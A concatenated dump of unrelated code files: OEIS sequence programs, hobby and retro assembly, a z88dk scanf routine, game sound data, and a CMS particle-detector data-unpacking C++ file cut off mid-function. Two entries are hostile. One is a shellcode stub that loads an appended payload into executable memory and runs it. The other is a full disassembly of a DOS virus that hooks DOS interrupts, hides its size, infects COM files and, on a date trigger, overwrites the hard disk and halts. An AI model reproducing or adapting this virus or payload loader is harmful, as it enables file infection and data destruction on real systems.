; 0,429981696,110075314176,2821109907456,28179280429056,167961600000000,722204136308736,2478758911082496,7213895789838336,18509302102818816,42998169600000000,92170395205042176
pow $0,8
mul $0,429981696
|
;-----------------------------------------------------------------------------;
; Author: (mostly) Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (31 October 2009)
; Size:
; Build: >build.py wrapped_jmp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
; Disabled until this is better tested
; %include "./src/block/block_antidebug.asm"
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,0x12345678
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
%include "./src/block/block_exitfunk.asm"
set_handler:
xor eax,eax
push dword [fs:eax]
mov dword [fs:eax], esp
call ebx
jmp short exitblock
get_payload:
call got_payload
payload:
; Append an arbitary payload here
|
//
// Created by Andrew Bailey on 10/14/19.
//
// local lib
#include "EventDetection.hpp"
#ifndef EVENTDETECTION_SRC_EVENTDETECTMAIN_HPP_
#define EVENTDETECTION_SRC_EVENTDETECTMAIN_HPP_
int detect_main(int argc, char** argv);
void event_detect(string const &fast5_path, string const &output_dir = string(), bool embed = false, string const &type = string());
void multithread_event_detect(string fast5_dir, string const &output_dir = string(), bool embed = false, string const &type = string());
#endif //EVENTDETECTION_SRC_EVENTDETECTMAIN_HPP_
|
; A308305: a(n) = s(n,n) + s(n,n-1) + s(n,n-2), where s(n,k) are the unsigned Stirling numbers of the first kind (see A132393).
; 1,2,6,18,46,101,197,351,583,916,1376,1992,2796,3823,5111,6701,8637,10966,13738,17006,20826,25257,30361,36203,42851,50376,58852,68356,78968,90771,103851,118297,134201,151658,170766,191626,214342,239021,265773,294711,325951,359612,395816,434688,476356,520951,568607,619461,673653,731326,792626,857702,926706,999793,1077121,1158851,1245147,1336176,1432108,1533116,1639376,1751067,1868371,1991473,2120561,2255826,2397462,2545666,2700638,2862581,3031701,3208207,3392311,3584228,3784176,3992376,4209052
add $0,1
mov $3,1
lpb $0
sub $0,1
add $1,$2
add $2,$3
add $3,$0
lpe
add $1,1
mov $0,$1
|
; size_t b_vector_append_n(b_vector_t *v, size_t n, int c)
SECTION code_adt_b_vector
PUBLIC _b_vector_append_n
EXTERN asm_b_vector_append_n
_b_vector_append_n:
pop af
pop hl
pop de
pop bc
push bc
push de
push hl
push af
jp asm_b_vector_append_n
|
;===============================================================================
;- Programm: BCD-Clock
;-
;- Dateinname: BCD-Clock.asm
;- Version: 1.0
;- Autor: Benj Fassbind
;-
;- Verwendungszweck: uP-Schulung
;-
;- Beschreibung:
;-
;- A BCD Second Clock wich shows the Seconds
;-
;- Entwicklungsablauf:
;- Ver: Datum: Autor: Entwicklungsschritt: Zeit:
;- 1.0 01.01.13 FAB Ganzes Programm erstellt 90 Min.
;-
;- Totalzeit: Min.
;-
;- Copyright: Benj Fassbind, Sonneggstrasse 13, 6410 Goldau (2013)
;------------------------------------------------------------------------------
;--- Kontrollerangabe ---
.include "m2560def.inc"
RJMP Reset
;--- Include-Files ---
.include "H:\uQ\git\16.12.13\uController-master\lib\delay.inc"
;--- Konstanten ---
.equ LED = PORTB ; Ausgabeport fuer LED
.equ LED_D = DDRB ; Daten Direction Port fuer LED
.equ SWITCH = PIND ; Eingabeport fuer SWITCH
.equ SWITCH_D = DDRD ; Daten Direction Port fuer SWITCH
;--- Variablen ---
.def mpr = R16 ; Multifunktionsregister
.def bcd = R17 ; Sekundenanzahl BCD Format
;------------------------------------------------------------------------------
; Hauptprogramm
;------------------------------------------------------------------------------
;--- Initialisierung ---
Reset: SER mpr ; Output:= LED
OUT LED_D, mpr
CLR mpr ; Input:= Schalterwerte
OUT SWITCH_D, mpr
LDI mpr, LOW(RAMEND) ; Stack initialisieren
OUT SPL,mpr
LDI mpr, HIGH(RAMEND)
OUT SPH,mpr
CLR bcd ; <numb> = $00
;--- Hauptprogramm ---
Main: ; Main() function
RCALL W100US ; W100US()
INC bcd ; <bcd> ++
SBRS bcd, 1 ; <bcd[1]> == 1:
RJMP Main_ENDIF01 ; GoTo: Main_ENDIF01
SBRS bcd, 3 ; <bcd[3]> == 0:
RJMP Main_ENDIF01 ; GoTo: Main_ENDIF01
SUBI bcd, -$06 ; <bcd[HB]> inkrementieren
CPI bcd, $60 ; if <bcd> == $61:
BRNE Main_ENDIF02 ; GoTo: Main_ENDIF01
CLR bcd ; <bcd> = $00
Main_ENDIF01: ; Main_ENDIF01
COM bcd
OUT LED, bcd ; <bcd> auf <SWITCH> ausgeben
COM bcd
RJMP Main ; Endless loop |
; A094952: A sequence derived from pentagonal numbers, or a Stirling number of the first kind matrix.
; 6,35,105,234,440,741,1155,1700,2394,3255,4301,5550,7020,8729,10695,12936,15470,18315,21489,25010,28896,33165,37835,42924,48450,54431,60885,67830,75284,83265,91791,100880,110550,120819,131705,143226
add $0,1
mov $2,$0
add $2,1
lpb $0,1
lpb $0,1
sub $0,1
add $3,$2
add $2,1
lpe
lpb $3,1
add $1,$2
sub $3,1
lpe
lpe
|
// from SimpleAdd.vm
// push 7 onto the stack
@7
D=A
@SP
A=M
M=D
@SP
M=M+1
// push 8 onto the stack
@8
D=A
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
|
PAGE 60,132
;
XSEG SEGMENT
; Seg=01387H
; Org=00000H
ASSUME CS:XSEG
XPROC PROC FAR
JMP L6551
DEC BX
PUSH BX
PUSH CX
CALL L0009
L0009: POP SI
SUB SI,+09H
PUSH SI
CLD
MOV DI,0100H
MOV CX,0005H
MOVSB
JMP L01CE
L001A: PUSHF
PUSH CS
CALL WORD PTR CS:[08C0H]
DB 0C3H; RET
STI
CMP AH,4BH
JE L0061
CMP AH,11H
JE L0035
CMP AH,12H
JE L0035
JMP L01C0
L0035: CALL L001A
PUSH AX
PUSH BX
PUSH ES
MOV AH,2FH
CALL L001A
MOV AX,534BH
CMP ES:[BX+1EH],AX
JNE L0050
MOV AX,0254H
SUB ES:[BX+24H],AX
L0050: POP ES
POP BX
POP AX
RET 0002H; 0CAH
L0056: MOV BX,0F200H
MOV CX,0001H
MOV DH,00H
INT 13H
DB 0C3H; RET
L0061: PUSHF
PUSH SS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
XOR AX,AX
MOV DS,AX
MOV DI,DS:[0194H]
MOV ES,DS:[0196H]
MOV AX,WORD PTR DS:[004CH]
MOV BX,DS:[004EH]
MOV CX,0F000H
MOV DX,0EC59H
MOV DS:[0100H],DX
MOV DS:[0102H],CX
MOV WORD PTR DS:[0198H],AX
MOV DS:[019AH],BX
MOV DS:[004CH],DI
MOV DS:[004EH],ES
PUSH CS
POP DS
PUSH CS
POP ES
MOV AH,19H
CALL L001A
CMP AL,01H
JNBE L00BB
MOV DL,AL
MOV AX,0201H
CALL L0056
MOV AX,0301H
CALL L0056
CMP AH,00H
JNE L00D0
L00BB: MOV AH,2AH
CALL L001A
CMP DX,0401H
JNE L00D3
MOV AX,030FH
MOV DL,80H
CALL L0056
CLI
HLT
L00D0: JMP L01A4
L00D3: MOV AH,2FH
CALL L001A
MOV CS:[08B0H],ES
MOV CS:[08B2H],BX
MOV AH,4EH
MOV DX,0BD5H
MOV CX,0000H
CALL L001A
JB L00D0
L00EF: MOV AX,534BH
CMP ES:[BX+16H],AX
JNE L0101
L00F8: MOV AH,4FH
CALL L001A
JB L00D0
JMP SHORT L00EF
L0101: MOV CX,05DCH
CMP ES:[BX+1AH],CX
JBE L00F8
PUSH ES
POP DS
MOV AX,3D02H
MOV DX,BX
ADD DX,+1EH
CALL L001A
MOV WORD PTR CS:[0C65H],AX
MOV BX,AX
PUSH CS
POP DS
MOV AH,3FH
MOV DX,0A10H
MOV CX,0005H
CALL L001A
MOV DX,5A4DH
CMP DS:[0A10H],DX
JE L019A
MOV DI,0C67H
MOV AL,0E9H
MOV [DI],AL
INC DI
MOV BX,DS:[08B2H]
MOV CX,ES:[BX+1AH]
INC CX
INC CX
MOV [DI],CX
INC DI
INC DI
MOV AX,534BH
MOV [DI],AX
MOV BX,CS:[0C65H]
MOV AX,4200H
XOR CX,CX
XOR DX,DX
CALL L001A
MOV AH,40H
MOV DX,0C67H
MOV CX,0005H
CALL L001A
MOV AX,4202H
XOR CX,CX
XOR DX,DX
CALL L001A
PUSH CS
POP DS
MOV BX,CS:[0C65H]
MOV AH,40H
MOV DX,0A10H
MOV CX,0254H
CALL L001A
JB L019A
MOV BX,CS:[0C65H]
MOV AX,5700H
CALL L001A
MOV AX,5701H
MOV CX,534BH
CALL L001A
L019A:
MOV BX,CS:[0C65H]
MOV AH,3EH
CALL L001A
L01A4: XOR AX,AX
MOV DS,AX
MOV AX,WORD PTR DS:[0198H]
MOV BX,DS:[019AH]
MOV WORD PTR DS:[004CH],AX
MOV DS:[004EH],BX
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
POP SS
POPF
L01C0:
JMP WORD PTR CS:[08C0H]
SUB CH,DS:[6F63H]
DB 6DH
ADD [BX+SI+0CF03H],DH
L01CE: MOV AX,0070H
MOV ES,AX
MOV DI,0000H
MOV AX,80FBH
L01D9: CLD
MOV CX,0FFFFH
SCASW
JE L01E6
MOV DI,0001H
JMP SHORT L01D9
L01E6: MOV BX,02FCH
CMP ES:[DI],BX
JNE L01DD
DEC DI
DEC DI
XOR AX,AX
MOV DS,AX
MOV DS:[0194H],DI
MOV DS:[0196H],ES
MOV ES,DS:[009EH]
MOV BX,DS:[00A0H]
PUSH CS
POP DS
MOV DX,BP
MOV BP,DS
POP SI
PUSH SI
MOV DI,0A10H
MOV CX,0255H
MOVSB
PUSH ES
LEA DI,[BX+1BH]
MOV AL,0E9H
STOSB
MOV AX,0A30H
SUB AX,DI
STOSW
MOV AX,9090H
STOSW
STOSW
MOV ES:[08C0H],DI
MOV AX,SS
SUB AX,0018H
CLI
MOV SS,AX
PUSH CS
POP SS
STI
MOV DS,BP
MOV BP,DX
POP ES
PUSH CS
POP ES
POP SI
POP CX
XOR DX,DX
XOR SI,SI
XOR AX,AX
XOR BX,BX
MOV DI,0100H
JMP DI
DEC BP
DB 69H
DB 6CH
DB 65H
DB 6EH
DB 61H
AND [BP+DI+02H],CL
XPROC ENDP
XSEG ENDS
END
|
SFX_Teleport_Enter1_3_Ch4:
duty 1
unknownsfx0x10 23
unknownsfx0x20 15, 215, 0, 7
unknownsfx0x20 15, 183, 128, 6
unknownsfx0x20 15, 135, 0, 6
unknownsfx0x20 15, 71, 128, 5
unknownsfx0x20 15, 23, 0, 5
unknownsfx0x10 8
endchannel
|
MODULE __scanf_handle_n
SECTION code_clib
PUBLIC __scanf_handle_n
EXTERN __scanf_nextarg
EXTERN scanf_loop
__scanf_handle_n:
bit 3,(ix-3) ;suppressed?
jp nz,scanf_loop
call __scanf_nextarg
ld a,(ix-6)
ld (de),a
inc de
ld a,(ix-5)
ld (de),a
bit 1,(ix-3)
jr z,scanf_handle_n_exit
xor a
inc de
ld (de),a
inc de
ld (de),a
scanf_handle_n_exit:
jp scanf_loop
|
#include "EventFilter/CSCRawToDigi/interface/CSCEventData.h"
#include "EventFilter/CSCRawToDigi/interface/CSCCFEBData.h"
#include "DataFormats/CSCDigi/interface/CSCStripDigi.h"
#include "FWCore/MessageLogger/interface/MessageLogger.h"
#include "EventFilter/CSCRawToDigi/src/cscPackerCompare.h"
#include <iostream>
#include <iterator>
#include "EventFilter/CSCRawToDigi/src/bitset_append.h"
#include "FWCore/Utilities/interface/Exception.h"
#ifdef LOCAL_UNPACK
bool CSCEventData::debug = false;
#else
std::atomic<bool> CSCEventData::debug{false};
#endif
CSCEventData::CSCEventData(int chamberType, uint16_t format_version)
: theDMBHeader(format_version),
theALCTHeader(nullptr),
theAnodeData(nullptr),
theALCTTrailer(nullptr),
theTMBData(nullptr),
theDMBTrailer(format_version),
theChamberType(chamberType),
alctZSErecovered(nullptr),
zseEnable(0),
theFormatVersion(format_version) {
for (unsigned i = 0; i < MAX_CFEB; ++i) {
theCFEBData[i] = nullptr;
}
}
CSCEventData::CSCEventData(const uint16_t* buf, uint16_t format_version) : theFormatVersion(format_version) {
theFormatVersion = format_version;
unpack_data(buf);
}
void CSCEventData::unpack_data(const uint16_t* buf) {
// zero everything
init();
const uint16_t* pos = buf;
if (debug) {
LogTrace("CSCEventData|CSCRawToDigi") << "The event data ";
for (int i = 0; i < 16; ++i) {
LogTrace("CSCEventData|CSCRawToDigi") << std::hex << pos[i] << " ";
}
}
theDMBHeader = CSCDMBHeader(pos, theFormatVersion);
if (!(theDMBHeader.check())) {
LogTrace("CSCEventData|CSCRawToDigi") << "Bad DMB Header??? "
<< " first four words: ";
for (int i = 0; i < 4; ++i) {
LogTrace("CSCEventData|CSCRawToDigi") << std::hex << pos[i] << " ";
}
}
if (debug) {
LogTrace("CSCEventData|CSCRawToDigi") << "nalct = " << nalct();
LogTrace("CSCEventData|CSCRawToDigi") << "nclct = " << nclct();
}
if (debug) {
LogTrace("CSCEventData|CSCRawToDigi") << "size in words of DMBHeader" << theDMBHeader.sizeInWords();
LogTrace("CSCEventData|CSCRawToDigi") << "sizeof(DMBHeader)" << sizeof(theDMBHeader);
}
pos += theDMBHeader.sizeInWords();
if (nalct() == 1) {
if (isALCT(pos)) //checking for ALCTData
{
theALCTHeader = new CSCALCTHeader(pos);
if (!theALCTHeader->check()) {
LogTrace("CSCEventData|CSCRawToDigi") << "+++WARNING: Corrupt ALCT data - won't attempt to decode";
} else {
//dataPresent|=0x40;
pos += theALCTHeader->sizeInWords(); //size of the header
//fill ALCT Digis
theALCTHeader->ALCTDigis();
//theAnodeData = new CSCAnodeData(*theALCTHeader, pos);
/// The size of the ALCT payload is determined here
/*
std::cout << " ****The ALCT information from CSCEventData.cc (begin)**** " << std::endl; ///to_rm
std::cout << " alctHeader2007().size: " << theALCTHeader->alctHeader2007().sizeInWords() << std::endl; ///to_rm
std::cout << " ALCT Header Content: " << std::endl; ///to_rm
/// to_rm (6 lines)
for(int k=0; k<theALCTHeader->sizeInWords(); k+=4){
std::cout << std::hex << theALCTHeader->data()[k+3]
<< " " << theALCTHeader->data()[k+2]
<< " " << theALCTHeader->data()[k+1]
<< " " << theALCTHeader->data()[k] << std::dec << std::endl;
}
*/
//std::cout << " ALCT Size: " << theAnodeData->sizeInWords() << std::endl;
/// Check if Zero Suppression ALCT Enabled
// int zseEnable = 0;
zseEnable = (theALCTHeader->data()[5] & 0x1000) >> 12;
//std::cout << " ZSE Bit: " << zseEnable << std::endl; /// to_rm
int sizeInWord_ZSE = 0;
//alctZSErecovered = new unsigned short [theAnodeData->sizeInWords()];
if (zseEnable) {
/// Aauxilary variables neede to recover zero suppression
/// Calculate the number of wire groups per layer
int nWGs_per_layer = ((theALCTHeader->data()[6] & 0x0007) + 1) * 16;
/// Calculate the number of words in the layer
int nWG_round_up = int(nWGs_per_layer / 12) + (nWGs_per_layer % 3 ? 1 : 0);
//std::cout << " Words per layer: " << nWG_round_up << std::endl; ///to_rm
const uint16_t* posZSE = pos;
std::vector<unsigned short> alctZSErecoveredVector;
alctZSErecoveredVector.clear();
//alctZSErecovered = new unsigned short [theAnodeData->sizeInWords()];
//delete [] alctZSErecovered;
//std::cout << " ALCT Buffer with ZSE: " << std::endl; ///to_rm
/// unsigned short * posZSEtmpALCT = pos;
/// This is just to dump the actual ALCT payload ** begin **
/// For debuggin purposes
//unsigned short * posZSEdebug = pos; ///to_rm
/// to_rm (8 lines)
/*
while (*posZSEdebug != 0xDE0D){
unsigned short d = *posZSEdebug;
unsigned short c = *(posZSEdebug+1);
unsigned short b = *(posZSEdebug+2);
unsigned short a = *(posZSEdebug+3);
posZSEdebug+=4;
std::cout << std::hex << a << " " << b << " " << c << " " << d << std::dec << std::endl;
}
*/
/// This is just to dump the actual ALCT payload ** end **
/// Actual word counting and recovering the original ALCT payload
int alctZSErecoveredPos = 0;
while (*posZSE != 0xDE0D) {
if ((*posZSE == 0x1000) && (*posZSE != 0x3000)) {
for (int j = 0; j < nWG_round_up; j++) {
alctZSErecoveredVector.push_back(0x0000);
}
alctZSErecoveredPos += nWG_round_up;
} else {
alctZSErecoveredVector.push_back(*posZSE);
++alctZSErecoveredPos;
}
posZSE++;
sizeInWord_ZSE++;
}
alctZSErecovered = new unsigned short[alctZSErecoveredVector.size()];
/// Convert the recovered vector into the array
for (int l = 0; l < (int)alctZSErecoveredVector.size(); l++) {
alctZSErecovered[l] = alctZSErecoveredVector[l];
}
unsigned short* posRecovered = alctZSErecovered;
theAnodeData = new CSCAnodeData(*theALCTHeader, posRecovered);
/// This is to check the content of the recovered ALCT payload
/// to_rm (7 lines)
/*
std::cout << " The ALCT payload recovered: " << std::endl;
for(int k=0; k<theAnodeData->sizeInWords(); k+=4){
std::cout << std::hex << alctZSErecovered[k+3] << " "
<< alctZSErecovered[k+2] << " "
<< alctZSErecovered[k+1] << " "
<< alctZSErecovered[k] << std::dec << std::endl;
}
*/
//delete [] alctZSErecovered;
//std::cout << " ALCT SizeZSE : " << sizeInWord_ZSE << std::endl; ///to_rm
//std::cout << " ALCT SizeZSE Recovered: " << alctZSErecoveredPos << std::endl; ///to_rm
//std::cout << " ALCT Size Expected: " << theAnodeData->sizeInWords() << std::endl; ///to_rm
pos += sizeInWord_ZSE;
} else {
//pos +=sizeInWord_ZSE;
theAnodeData = new CSCAnodeData(*theALCTHeader, pos);
pos += theAnodeData->sizeInWords(); // size of the data is determined during unpacking
}
//std::cout << " ****The ALCT information from CSCEventData.cc (end)**** " << std::endl; ///to_rm
theALCTTrailer = new CSCALCTTrailer(pos);
pos += theALCTTrailer->sizeInWords();
}
} else {
LogTrace("CSCEventData|CSCRawToDigi") << "Error:nalct reported but no ALCT data found!!!";
}
}
if (nclct() == 1) {
if (isTMB(pos)) {
//dataPresent|=0x20;
theTMBData = new CSCTMBData(pos); //fill all TMB data
pos += theTMBData->size();
} else {
LogTrace("CSCEventData|CSCRawToDigi") << "Error:nclct reported but no TMB data found!!!";
}
}
//now let's try to find and unpack the DMBTrailer
bool dmbTrailerReached = false;
for (int i = 0; i < 12000; ++i) //8000 max for cfeb + 1980ALCT + 287 TMB
{
dmbTrailerReached = (*(i + pos) & 0xF000) == 0xF000 && (*(i + pos + 1) & 0xF000) == 0xF000 &&
(*(i + pos + 2) & 0xF000) == 0xF000 && (*(i + pos + 3) & 0xF000) == 0xF000 &&
(*(i + pos + 4) & 0xF000) == 0xE000 && (*(i + pos + 5) & 0xF000) == 0xE000 &&
(*(i + pos + 6) & 0xF000) == 0xE000 && (*(i + pos + 7) & 0xF000) == 0xE000;
if (dmbTrailerReached) {
// theDMBTrailer = *( (CSCDMBTrailer *) (pos+i) );
theDMBTrailer = CSCDMBTrailer(pos + i, theFormatVersion);
break;
}
}
if (dmbTrailerReached) {
for (int icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
theCFEBData[icfeb] = nullptr;
int cfeb_available = theDMBHeader.cfebAvailable(icfeb);
unsigned int cfebTimeout = theDMBTrailer.cfeb_starttimeout() | theDMBTrailer.cfeb_endtimeout();
//cfeb_available cannot be trusted - need additional verification!
if (cfeb_available == 1) {
if ((cfebTimeout >> icfeb) & 1) {
if (debug)
LogTrace("CSCEventData|CSCRawToDigi") << "CFEB Timed out! ";
} else {
//dataPresent|=(0x1>>icfeb);
// Fill CFEB data and convert it into cathode digis
// Check if we have here DCFEB using DMB format version field (new ME11 with DCFEBs - 0x2, other chamber types 0x1)
bool isDCFEB = false;
if (theDMBHeader.format_version() == 2)
isDCFEB = true;
theCFEBData[icfeb] = new CSCCFEBData(icfeb, pos, theFormatVersion, isDCFEB);
pos += theCFEBData[icfeb]->sizeInWords();
}
}
}
pos += theDMBTrailer.sizeInWords();
size_ = pos - buf;
} else {
LogTrace("CSCEventData|CSCRawToDigi") << "Critical Error: DMB Trailer was not found!!! ";
}
// std::cout << "CSC format: " << theFormatVersion << " " << getFormatVersion() << std::endl;
}
bool CSCEventData::isALCT(const short unsigned int* buf) {
return (((buf[0] & 0xFFFF) == 0xDB0A) || (((buf[0] & 0xF800) == 0x6000) && ((buf[1] & 0xF800) == 0)));
}
bool CSCEventData::isTMB(const short unsigned int* buf) { return ((buf[0] & 0xFFF) == 0xB0C); }
CSCEventData::CSCEventData(const CSCEventData& data) { copy(data); }
CSCEventData::~CSCEventData() { destroy(); }
CSCEventData CSCEventData::operator=(const CSCEventData& data) {
// check for self-assignment before destructing
if (&data != this)
destroy();
copy(data);
return *this;
}
void CSCEventData::init() {
//dataPresent = 0;
theALCTHeader = nullptr;
theAnodeData = nullptr;
theALCTTrailer = nullptr;
theTMBData = nullptr;
for (int icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
theCFEBData[icfeb] = nullptr;
}
alctZSErecovered = nullptr;
zseEnable = 0;
}
void CSCEventData::copy(const CSCEventData& data) {
init();
theFormatVersion = data.theFormatVersion;
theDMBHeader = data.theDMBHeader;
theDMBTrailer = data.theDMBTrailer;
if (data.theALCTHeader != nullptr)
theALCTHeader = new CSCALCTHeader(*(data.theALCTHeader));
if (data.theAnodeData != nullptr)
theAnodeData = new CSCAnodeData(*(data.theAnodeData));
if (data.theALCTTrailer != nullptr)
theALCTTrailer = new CSCALCTTrailer(*(data.theALCTTrailer));
if (data.theTMBData != nullptr)
theTMBData = new CSCTMBData(*(data.theTMBData));
for (int icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
theCFEBData[icfeb] = nullptr;
if (data.theCFEBData[icfeb] != nullptr)
theCFEBData[icfeb] = new CSCCFEBData(*(data.theCFEBData[icfeb]));
}
size_ = data.size_;
theChamberType = data.theChamberType;
}
void CSCEventData::destroy() {
if (zseEnable) {
delete[] alctZSErecovered;
}
delete theALCTHeader;
delete theAnodeData;
delete theALCTTrailer;
delete theTMBData;
for (int icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
delete theCFEBData[icfeb];
}
/*
std::cout << "Before delete alctZSErecovered " << std::endl;
delete [] alctZSErecovered;
std::cout << "After delete alctZSErecovered " << std::endl;
*/
}
std::vector<CSCStripDigi> CSCEventData::stripDigis(const CSCDetId& idlayer) const {
std::vector<CSCStripDigi> result;
for (unsigned icfeb = 0; icfeb < MAX_CFEB; ++icfeb) {
std::vector<CSCStripDigi> newDigis = stripDigis(idlayer, icfeb);
result.insert(result.end(), newDigis.begin(), newDigis.end());
}
return result;
}
std::vector<CSCStripDigi> CSCEventData::stripDigis(unsigned idlayer, unsigned icfeb) const {
// assert(ilayer > 0 && ilayer <= 6); // off because now idlayer is raw cscdetid
std::vector<CSCStripDigi> result;
if (theCFEBData[icfeb] != nullptr) {
std::vector<CSCStripDigi> newDigis = theCFEBData[icfeb]->digis(idlayer);
result.insert(result.end(), newDigis.begin(), newDigis.end());
}
return result;
}
std::vector<CSCWireDigi> CSCEventData::wireDigis(unsigned ilayer) const {
if (theAnodeData == nullptr) {
return std::vector<CSCWireDigi>();
} else {
return theAnodeData->wireDigis(ilayer);
}
}
std::vector<std::vector<CSCStripDigi> > CSCEventData::stripDigis() const {
std::vector<std::vector<CSCStripDigi> > result;
for (int layer = 1; layer <= 6; ++layer) {
std::vector<CSCStripDigi> digis = stripDigis(layer);
result.push_back(digis);
}
return result;
}
std::vector<std::vector<CSCWireDigi> > CSCEventData::wireDigis() const {
std::vector<std::vector<CSCWireDigi> > result;
for (int layer = 1; layer <= 6; ++layer) {
result.push_back(wireDigis(layer));
}
return result;
}
const CSCCFEBData* CSCEventData::cfebData(unsigned icfeb) const { return theCFEBData[icfeb]; }
CSCALCTHeader* CSCEventData::alctHeader() const {
if (nalct() == 0)
throw cms::Exception("No ALCT for this chamber");
return theALCTHeader;
}
CSCALCTTrailer* CSCEventData::alctTrailer() const {
if (nalct() == 0)
throw cms::Exception("No ALCT for this chamber");
return theALCTTrailer;
}
CSCAnodeData* CSCEventData::alctData() const {
if (nalct() == 0)
throw cms::Exception("No ALCT for this chamber");
return theAnodeData;
}
CSCTMBData* CSCEventData::tmbData() const {
if (nclct() == 0)
throw cms::Exception("No CLCT for this chamber");
return theTMBData;
}
CSCTMBHeader* CSCEventData::tmbHeader() const {
if ((nclct() == 0) || (tmbData() == nullptr))
throw cms::Exception("No CLCT header for this chamber");
return tmbData()->tmbHeader();
}
CSCCLCTData* CSCEventData::clctData() const {
if ((nclct() == 0) || (tmbData() == nullptr))
throw cms::Exception("No CLCT data for this chamber");
return tmbData()->clctData();
}
void CSCEventData::setEventInformation(int bxnum, int lvl1num) {
theDMBHeader.setBXN(bxnum);
theDMBHeader.setL1A(lvl1num);
theDMBHeader.setL1A24(lvl1num);
if (theALCTHeader) {
theALCTHeader->setEventInformation(theDMBHeader);
}
if (theTMBData) {
theTMBData->tmbHeader()->setEventInformation(theDMBHeader);
assert(theChamberType > 0);
theTMBData->tmbHeader()->setNCFEBs(5);
// Set number of CFEBs to 7 for Post-LS1 ME11
if ((theFormatVersion == 2013) && ((theChamberType == 1) || (theChamberType == 2))) {
theTMBData->tmbHeader()->setNCFEBs(7);
}
/*
// Set number of CFEBs to 4 for ME13 chambers
if (theChamberType == 4) {
theTMBData->tmbHeader()->setNCFEBs(4);
}
*/
}
for (unsigned cfeb = 0; cfeb < 7; cfeb++) {
if (theCFEBData[cfeb])
theCFEBData[cfeb]->setL1A(lvl1num);
}
}
void CSCEventData::checkALCTClasses() {
if (theAnodeData == nullptr) {
assert(theChamberType > 0);
theALCTHeader = new CSCALCTHeader(theChamberType);
theALCTHeader->setEventInformation(theDMBHeader);
theAnodeData = new CSCAnodeData(*theALCTHeader);
int size = theALCTHeader->sizeInWords() + theAnodeData->sizeInWords() + CSCALCTTrailer::sizeInWords();
theALCTTrailer = new CSCALCTTrailer(size, theALCTHeader->alctFirmwareVersion());
// set data available flag
theDMBHeader.addNALCT();
}
}
void CSCEventData::checkTMBClasses() {
int nCFEBs = 5;
if ((theFormatVersion == 2013) && ((theChamberType == 1) || (theChamberType == 2))) {
nCFEBs = 7;
}
if (theTMBData == nullptr) {
if (theFormatVersion == 2013) { // Set to TMB format for Post-LS1 data
theTMBData = new CSCTMBData(2013, 0x7a76, nCFEBs);
} else {
theTMBData = new CSCTMBData(2007, 0x50c3);
}
theTMBData->tmbHeader()->setEventInformation(theDMBHeader);
theDMBHeader.addNCLCT();
}
theTMBData->tmbHeader()->setNCFEBs(nCFEBs);
// std::cout << "nCFEBs: " << theTMBData->tmbHeader()->NCFEBs() << std::endl;
}
void CSCEventData::add(const CSCStripDigi& digi, int layer) {
//@@ need special logic here for ME11
unsigned cfeb = (digi.getStrip() - 1) / 16;
bool sixteenSamples = false;
if (digi.getADCCounts().size() == 16)
sixteenSamples = true;
if (theCFEBData[cfeb] == nullptr) {
bool isDCFEB = false;
if (theDMBHeader.format_version() == 2)
isDCFEB = true;
theCFEBData[cfeb] = new CSCCFEBData(cfeb, sixteenSamples, theFormatVersion, isDCFEB);
theDMBHeader.addCFEB(cfeb);
}
theCFEBData[cfeb]->add(digi, layer);
}
void CSCEventData::add(const CSCWireDigi& digi, int layer) {
checkALCTClasses();
theAnodeData->add(digi, layer);
theALCTHeader->setDAVForChannel(digi.getWireGroup());
theALCTHeader->setBXNCount(digi.getWireGroupBX());
}
void CSCEventData::add(const CSCComparatorDigi& digi, int layer) {
checkTMBClasses();
theTMBData->clctData()->add(digi, layer);
}
void CSCEventData::add(const CSCComparatorDigi& digi, const CSCDetId& cid) {
checkTMBClasses();
theTMBData->clctData()->add(digi, cid);
}
void CSCEventData::add(const std::vector<CSCALCTDigi>& digis) {
checkALCTClasses();
theALCTHeader->add(digis);
}
void CSCEventData::add(const std::vector<CSCCLCTDigi>& digis) {
checkTMBClasses();
theTMBData->tmbHeader()->add(digis);
}
void CSCEventData::add(const std::vector<CSCCorrelatedLCTDigi>& digis) {
checkTMBClasses();
theTMBData->tmbHeader()->add(digis);
}
std::ostream& operator<<(std::ostream& os, const CSCEventData& evt) {
for (int ilayer = 1; ilayer <= 6; ++ilayer) {
std::vector<CSCStripDigi> stripDigis = evt.stripDigis(ilayer);
//copy(stripDigis.begin(), stripDigis.end(), std::ostream_iterator<CSCStripDigi>(os, "\n"));
//print your scas here
std::vector<CSCWireDigi> wireDigis = evt.wireDigis(ilayer);
//copy(wireDigis.begin(), wireDigis.end(), std::ostream_iterator<CSCWireDigi>(os, "\n"));
}
return os;
}
boost::dynamic_bitset<> CSCEventData::pack() {
boost::dynamic_bitset<> result =
bitset_utilities::ushortToBitset(theDMBHeader.sizeInWords() * 16, theDMBHeader.data());
// Container for CRC calculations
std::vector<std::pair<unsigned int, unsigned short*> > crcvec;
if (theALCTHeader != nullptr) {
boost::dynamic_bitset<> alctHeader = theALCTHeader->pack();
result = bitset_utilities::append(result, alctHeader);
crcvec.push_back(std::make_pair(theALCTHeader->sizeInWords(), theALCTHeader->data()));
}
if (theAnodeData != nullptr) {
